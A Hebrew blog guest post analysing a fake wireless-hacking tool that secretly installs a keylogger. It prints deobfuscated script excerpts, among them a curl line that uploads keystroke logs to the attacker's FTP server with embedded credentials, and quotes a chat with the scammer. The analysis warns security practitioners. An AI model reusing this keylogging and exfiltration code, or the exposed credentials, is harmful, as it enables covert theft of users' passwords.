איך לנסות לרמות האקרים ולצאת טמבל – פוסט אורח של יפתח עמית

מאת יפתח עמית ~ 11 ביולי, 2010. בקטגוריות: כללי.

הפוסט הזה הוא תרגום של פוסט שלי (http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/) שחשבתי שיכול להתאים לפרסום בבלוג של גיא מכיוון שקהל היעד שלו הוא בעיקר אנשים שמתעסקים בהאקינג, אבטחת מידע או איך-שלא-תקראו-לזה… מקווה שתהנו (ותסלחו לי על הניסוחים הכושלים – כאמור זה תרגום).

בשבוע שעבר יצא לי "לשחק" קצת עם כלים לבדיקת רמת ההגנה של רשתות אלחוטיות בעקבות בקשה של לקוח "להריץ כלים לא שגרתיים כמו שכולם מריצים" (למרות הסלידה שלי מדרישות לכלים ספציפיים ו/או לספק רשימת מכולת של "מה אתה הולך להריץ"… נחש מה? לא משנה במה אני משתמש, אתה יכול להיות בטוח שבאיזשהו שלב אני הולך להפתיע אותך…).

במסגרת החיפוש, ובעזרתם המקרית של טק-קראנץ', הגעתי לאתר הזה המתיימר להיות מוקדש לאבטחת רשתות אלחוטיות. אז אחרי שהתגברתי על הבחילה הקלה מהעיצוב המזעזע (וכן – מוזיקת רקע באתר זה כל כך 90'…) הורדתי את 4 הקבצים האמורים להוות את הכלי. איפה ההתלבטות בכלל כשה-FBI משתמש באותם כלים…

בדיקה מהירה – ויש לנו שלושה סקריפטים (לכאורה) וזיפ (איך מתרגמים tarball לעברית? כדורזפת? טארבול?). למה לכאורה? מכיוון שכשסקריפט שאמור להיות טקסטואלי מזוהה על ידי המערכת כקובץ ELF אתה יודע שמשהוא "מסריח" קורה כאן. וכך התחיל הסיפור שנתן לי להגיע לסוף השבוע מחוייך ומבודח (בד"כ אני סתם מותש).

אז הנה סיכום "מנהלים" למה שקורה באתר של החבר שלנו שה-FBI משתמשים לכאורה בכלים שלו:

  1. הכלים שהוא מספק אינם כלי אבטחת מידע בכלל. בהתחלה עוד נתתי לו להנות מהספק – נו, עוד מישהו שארז כלים ידועים בסקריפט משלו לצרכי נוחות.אבל לא. אפילו karma לא היתה כלולה שם – למרות שהסקריפט הראשי נקרא כך, ולמעשה זו הפונקציונליות שהכלי אמור היה לספק.
  2. מבט זריז בזיפ מראה שהוא מכיל בכלל keylogger שנגנב מכאן.
  3. כשהסקריפט הראשי מופעל, שני סקריפטים נוספים מופעלים ברקע – האחד מקמפל את ה-keylogger ומריץ אותו, והשני דואג להעלות את תעוד ההקלדות ל-FTP כדי שהמתקיף יוכל לעקוב אחריך.
  4. במקביל, הסקריפט הראשי במסגרת "ההתקנה" דורש ממך לשלוח אימייל לכותב הכלי על מנת לקבל קוד אקטיבציה, ובאופן מאד נוח פותח עבורך את פיירפוקס (שועל-אש? שואש?) עם שלושה טאבים לגימייל, יאהו, והוטמייל. לטענת הסקריפט לאחר שליחת האימייל אתה אמור לקבל קוד אקטיבציה חינם אוטומטית.

נחזור ל"כלים" שלנו. כאמור הסקריפטים הם לא סקריפטים. מה נהיה? פשוט – הם היו פעם סקריפטים, אבל כדי לטשטש את מה שבאמת נעשה, הם "קומפלו" לקבצים בינריים באמצעות shc. המרת הקבצים הבינריים חזרה לסקריפטים היתה פשוטה למדי (שעורי בית -–לקרוא את התעוד של shc ולשחק עם הקבצים בבית).

עכשיו כשקצת יותר ברור מול מה אנחנו עומדים, בואו נסתכל על חלק מהקוד של הסקריפטים ומה עומד מאחוריהם. אפילו אם אתם לא סקריפטולוגים מהוללים, די קל לעקוב אחרי הנעשה (ויש אפילו הערות בקוד!!!).

# START BACKGROUND PROGRAMS BG1(RUN LINUX KEYLOGGER) AND BG2(RUN MONITORING KEYSTROKES AND SEND LOG.TXT FILES TO DRIVEHQ)
cd lkl2
./configure –silent
make –silent
make install –silent
cd
chmod +x /root/bg1.sh
nohup /root/bg1.sh &
rm -r /root/nohup.out
chmod +x /root/bg2.sh
nohup /root/bg2.sh &
sleep 2
rm -r /root/nohup.out
clear

אוקיי, אז אנחנו רואים איך ה-keylogger מקומפל ומותקן, ושני הסקריפטים הנוספים bg1.sh ו-bg2.sh מורצים ברקע. בשלב הבא, אנו מגיעים ל"התקנה" בה הסקריפט הראשי (כאמור karma.sh) מבקש מהמשתמש לשלוח אימייל לצרכי אקטיבציה המכיל הצהרה כי השימוש בכלי איננו משמש לעבירה על החוק.

# MENU LIST

echo “”

echo “——————————————————— “

echo “THIS MESSAGES WILL NOT APPEAR AFTER karma.sh IS ACTIVATED “

echo “——————————————————— “

echo “”

echo “1. Compose indemnity text below and send to fadzilmahfodh@gmail.com”

echo “ Yes, I want activation code and will never use for illegal purpose”

echo “”

echo “2. Check your email for activation code after sending text “

echo “”

read -p “3. Send now ? (0=no, 1=yes) “ act

clear

הזכרתי כי ההתקפה כאן מכוונת לאנשים שמתעסקים באבטחת מידע והאקינג, והנה הוכחה נוספת:

read -p “Which backtrack are you using ? (bt3=3,bt4=4) ” bt

נחמד… מוודאים איתנו באיזה גירסה של BackTrack אנחנו משתמשים. לזכות כותב הסקריפט ייאמר שאכן ההתנהגות של הסקריפט משתנה בהתאם לגירסת מ"ה עליה אנחנו רצים (שינויי קונפיגורצית רשת וכו').

בשלב הבא מוודאים שהדפדפן סגור, ופותחים עבורנו את שלושת אתרי הוובמייל:

firefox https://login.yahoo.com/ &
sleep 4

firefox https://www.google.com/accounts/ManageAccount &

sleep 4

firefox http://home.live.com/

המתקיף רוצה כמובן שנבצע כניסה מלאה לאימייל שלנו (עם ניחוש לא רע המכסה את ספקי האימייל העיקריים), כדי שנשלח את הבקשה לקוד האקטיבציה – וכל זאת כאמור כאשר ה-keylogger עובד במרץ ברקע ומקליט כל הקלדה שלנו ושולח אותה ל-FTP. בדיוק כאן רוב המשתמשים ייפלו…

השלב הבא בסקריפט – האקטיבציה עצמה. או שלא.

############################

# DECOY FOR ACTIVATION CODE

clear

echo “”

read -p “ENTER ROGUE AP ACTIVATION CODE : ” pls

sleep 3

echo “You have entered an invalid code ”

echo “”

exit

############################

יש להודות כי ההערות בגוף הסקריפט משעשעות – "פתיון" האקטיבציה די ברור כאן, ובמיוחד אהבתי את ההמתנה של שלוש השניות לפני שהמשתמש מיודע כי הקוד לא נכון. אפשר ממש להרגיש שהכלי עובד קשה כדי לוודא אותו ברקע. קלאסי!

זה פחות או יותר לשלב הניתוח הטכני של הקבצים המוצעים מהאתר. אבל לא הייתי טורח לכתוב את הפוסט הזה (ולתרגם אותו – שבינתיים לוקח לי יותר זמן מכתיבת הפוסט המקורי ), אלמלא הייתי נתקל בידידינו ההאקר המפורסם בצ'אט. אז האינטראקציה התחילה כשכתבתי אימייל על מנת לראות כיצד האקטיבציה קורה, ולאחר כיום קיבלתי תשובה (ממש "מענה אוטומטי"…):

Hi

1. We are preparing the activation code for you.

2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c fadzilmahfodh@yahoo.com ?

Cheers.

EMAIL VIA MY CELLPHONE FOR FAST RESPONSE

http://fadzilmahfodh.blogspot.com

אז לא רק שלא קיבלתי קוד אקטיבציה, הם "מכינים" אותו (מה זה אומר? הלכו לקטוף צמחים מיוחדים לקוד שלי?), אלא שאני מתבקש לתרום מעשר קל למסכן שעבד כל כך קשה על כתיבת כלי אבטחה משהו משהו ומעניק אותו בחינם לקהילה… אוקיי, אז עניתי בנימוס ש:

1. תודה – אני מחכה בכליון עיניים לקוד.

2. אני אשקול תרומה אולי אחרי שאנסה את הכלי.

ובמהרה קיבלתי מענה המציע לי לנסות כלי אחר (שבכלל לא קשור למה שהכלי המקורי אמור לעשות) בגרסת נסיון.

המממ, מעניין. למזלי השתמשתי בחשבון ספאמי של יאהו וכנראה שגם ידידינו… מי שלא מכיר, ביאהו אפשר לראות את הסטטוס של מי שאתה מתכתב אתו באימייל ולצ'וטט איתו דרך ממשק הווב אם הוא כרגע זמין! אז זה בדיוק מה שעשיתי…

—– Our chat on Wed, 7/7/10 2:53 PM —–

Iftach(2:34 PM): hey man

Iftach(2:34 PM): mind if a ask a couple of questions?

fadzilmahfodh(2:34 PM): okey

Iftach(2:35 PM): cool. I’m doing this research on security tools and their authors…

fadzilmahfodh(2:35 PM): okey

Iftach(2:35 PM): saw your tool and wanted to hear about how you got to write

it, how well is it distributed in the community etc…

Iftach(2:36 PM): does that activation thing a common practice with free tools?

fadzilmahfodh(2:36 PM): yes see, we need to maintain our website thus we need supporter

fadzilmahfodh(2:37 PM): everyday there are at least 500++ people asking for code

Iftach(2:37 PM): I see.

fadzilmahfodh(2:37 PM): i no longer able to provide for free

fadzilmahfodh(2:37 PM): too time consuming and i need to be compensated for my

time and effort

fadzilmahfodh(2:38 PM): hope you understand

המסכן צריך שיפצו אותו על ה"זמן והמאמץ". אוי-אוי-אוי (ותזכרו שכל המאמץ שלו מסתכם בסקריפט הונאה בלבד – הוא אפילו לא טרח לכלול איזשהו כלי לפריצת/ניתוח רשת אלחוטית שזמין באופן חופשי…)

Iftach(2:40 PM): now, about the tool – that’s a linux binary obviously (thought

it was a shell script at the beginning). Did you base it on something existing

or write yourself?

fadzilmahfodh(2:41 PM): i wrote it by my self then scramble the code

Iftach(2:41 PM): hence the activation i see…

fadzilmahfodh(2:42 PM): i can afford to give ‘free lunch’ to everybody. Hope

you understand

Iftach(2:43 PM): sure, i understand.

fadzilmahfodh(2:43 PM): So you interested in the software?

Iftach(2:44 PM): more from a research point of view – for an article I’m

writing

Iftach(2:44 PM): so, the installer you use, I see that it contains some

additional code that is being compiled on the client.

fadzilmahfodh(2:45 PM): Yes. The purpose is the code will be unique to user

hardware

Iftach(2:45 PM): and I saw that there were some FTP connections made? Is that

to verify that the client is a registered one?

fadzilmahfodh(2:46 PM): Well, that is another story…

Iftach(2:46 PM): I’m listening

fadzilmahfodh(2:46 PM): maybe some other time huh

Iftach(2:47 PM): OK. Last question – do you get a lot of account passwords

through that keylogger that sends the data to your FTP?

fadzilmahfodh(2:47 PM): sorry, no comment unless i am in court

בשלב הזה של "הראיון" שלנו, הבנתי שסיפור הכיסוי שלי הולך להיות יותר אמיתי ממה שחשבתי (ולהלן ה"מאמר" שאתם קוראים). אי אפשר להמציא שטויות כאלה, אז הייצי חייב לתעד את זה איכשהו…

Iftach(2:48 PM): aha, and it’s part of the installer because? just to make sure

people can send the activation email correctly?

Iftach(2:48 PM): Back to statistics, out of the average 500 ppl asking for

activation – how many passwords do you manage to grab?

fadzilmahfodh(2:49 PM): well, the ftp is to confirm that software match with

data in server

fadzilmahfodh(2:49 PM): if it does not match, it will fail to run

fadzilmahfodh(2:49 PM): or i can just change the data/activation code in the

server

fadzilmahfodh(2:49 PM): then everything will not run

Iftach(2:49 PM): and how does that relate to the keylogging?

fadzilmahfodh(2:50 PM): well, that i another story…

Iftach(2:51 PM): I mean – the keylogger data is sent to that FTP. Is that part

of the verification or is this a separate process?

Iftach(2:51 PM): So, on average, how many accounts you manage to get on that

FTP server per day?

fadzilmahfodh(2:51 PM): well, you do not even support my website and how the

hell am i going to tell you

Iftach(2:52 PM): Let’s just get it straight – I’m not going to “support” the

site… I’m just doing some research on security tools.

fadzilmahfodh(2:52 PM): bye

Iftach(2:53 PM): You are free to tell, or not if you don’t want to. But I’m

publishing the story as it is…

Iftach(2:53 PM): With your acknowledgment that you use a keylogger to steal your

site visitor passwords. Unless you want to be quoted otherwise in the story…

ונאמן להבטחתי לפדזיל (או איך שלא קוראים לחכמולוג שלנו), אני מפרסם את ה"ראיון" שלנו ללא שינויים משמעותיים.

אבל רגע – יש עוד! עוד? כן כן! הדובדבן על הקצפת היה בשלב ששכנעתע את עצמי להציק לידידינו רק עוד פעם אחת, ולנסות להיכנס ל-FTP שאליו הוא שולח את כל רישומי ההקלדות של המשתמשים שלו. הרי שם המשתמש והסיסמא היו באחד הסקריפטים (כאמור – "קימפול" שלהם לבינרי לא כל כך עובד עלינו…)

curl -s -k –ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt

ואז הגיע המסך שהשאיר לי חיוך שהספיק לכל הסופ"ש:

שרת ה-FTP של הבחור

כמו שאומרים priceless.

אבל אתם יודעים מה? זה הכל באשמתנו! אם היינו "תורמים" לבחור כמו שהוא בטח מתחנן לכל מי ששולח לו אימייל, אז אולי היה לו מספיק כסף כדי לשלם עבור החשבון FTP שלו ב-drivehq, והיה יכול לעשות עוד כסך מלגנוב כסף נוסף מכל מי שנפל בהונאה שלו וקיבל keylogger במתנה.

גדול מהחיים. אבל ברצינות – מוסר השכל קצר (אחרת גיא לא היה מפרסם את זה עכשיו כששנינו מרצים רציניים בטכניון :-) ) גם כלי סקיוריטי, במיוחד ממקומות לא מוכרים, זכאים לבדיקה קצרה. אני אולי קצת אולד-פשן אבל אם אני לא רואה את קוד המקור היום, אני הולך לדייק בקטנות. תסתכלו, תנטרו (רשת, זכרון, דיסק), ותבדקו שוב. לפעמים זה אפילו משתלם…

תגיות: , ,

16 תגובות על איך לנסות לרמות האקרים ולצאת טמבל – פוסט אורח של יפתח עמית

  1. גבריאל

    ואחר כך אנשים שואלים למה אני מתעקש על להתקין דברים לא מוכרים רק ב VM :(

  2. גיא לוי

    סליחה, אבל מי שמוריד קובץ מהאתר שהבאת מבלי לחשוד הוא לא מנהל אבטחת מידע, הוא סתם משוגע.
    אני הייתי יותר מודאג מחברות לגיטימיות שמשקיעות יותר זמן וכסף בלבצע מעקב נקי מעקבות ומחשד.
    אבל יש כאלו שמדי פעם נופלים לחובבנות
    http://uneasysilence.com/archive/2007/12/12789/
    למרות שהטענה הופרכה במעט
    http://www.kahunaburger.com/2008/01/02/the-adobe-spying-debacle/
    בחינה פשוטה של התהליכים מראה לא מעט אופציות לאיסוף מידע על המשתמש.

  3. Iftach Ian Amit

    True, but given the state of security tool sites, this isn't TOO far from some of the more legitimate tool sites I've been to…

  4. ישראל

    אם למישהו יש סבלנות וזמן לפנות ל-pay-pal, לחברה שמספקת לו את ה-ftp וכדומה. כדאי שיעשה זאת, זה אולי ימנע ממנו לגשת לחלק מהנתונים או הכספים שהוא כבר השיג.

  5. Black SpideR

    החשבון שלו סגור.

  6. TheLeader

    כל הכבוד על המודעות ותשומת הלב.
    תמיד טוב לעבור על הסורס \ אם אין סורס לנטר פעילות של הפרוסס ולדבג, גם אם לא תמצא כלום – זה מחדד את החושים =]
    ובכלליות בריא לדעת איך בדיוק מה שאתה לא משתמש בו עובד.

    BTW דווקא אהבתי את העיצוב, אין כמו האולדיס האלה =]

  7. פלג

    תודה
    היה מעניין לקרוא.

  8. אלירן

    עלוב. זה כנראה ילד סיני או פקיסטני שמדמה לעצמו שהוא "האקר"

    אבל באמת עלוב לצפות שמשתמשי לינוקס יהיו תמימים ודבילים עד כדי כך לסמוך על "סקריפטים". זה כנראה סקריפט קידי שעשה הסבה מחלונות (מזכיר 'וירוסים'של batch מלפני עשר שנים).

  9. אנון

    איפה אתם מרצים בטכניון?

  10. יפתח עמית

    בלימודי המשך – מסלול CISO.

    אגב – יש המשך – החכמולוג כתב תגובה לפוסט המקורי… http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/#comments

  11. ברק

    מגניב! אחלה כתבה!!!

  12. סם ק'

    אחח, כל פעם שאני רואה אצל אנשים במחשב תוכנות לא מוכרות להמרות או להעתקה או משהו כזה שנראה כמו וירוס מלפני עשור ואני מנסה להסביר שזה רע. מצד שני יצא גם לי לעשות מעשה דבילי כזה.

    מצד שני, יש תקווה מהכתבה – אם התוכנה ישנה מספיק אז אולי הכתובת לא קיימת כבר או משהו אחר.

  13. מאור

    פשוט מהנה,

    כל הכבוד!

  14. בלוגיק נבחרי השבוע מהבלוגספירה הישראלית [16-07-10] | Newsgeek

    [...] עמית כותב על הסיפור שקרה לו בעת שניסה לשחק עם כלים לבדיקת רמת ההגנה ברשתות אלחוטית. הסוף טוב, אך יפתח מציע לבדוק גם כלי סקיוריטי, במיוחד [...]

  15. אודי

    tar.gz
    טרגז
    על משקל ארגז.
    פוסט נחמד מאוד!

    אודי

  16. CISO

    פוסט יפה כזה צריך להציג בפני מנהלים בארגונים שונים.
    במקרה השבוע נדרשתי להתייחס ל(אי)התקנת תוכנות מהאינטרנט.
    נאלצתי להסביר שוב (בפעם המאה) מדוע אני חוסם הרשאת Admin על התחנות.
    לא יודע מה גרוע יותר, תוכנה כזו או Scareware.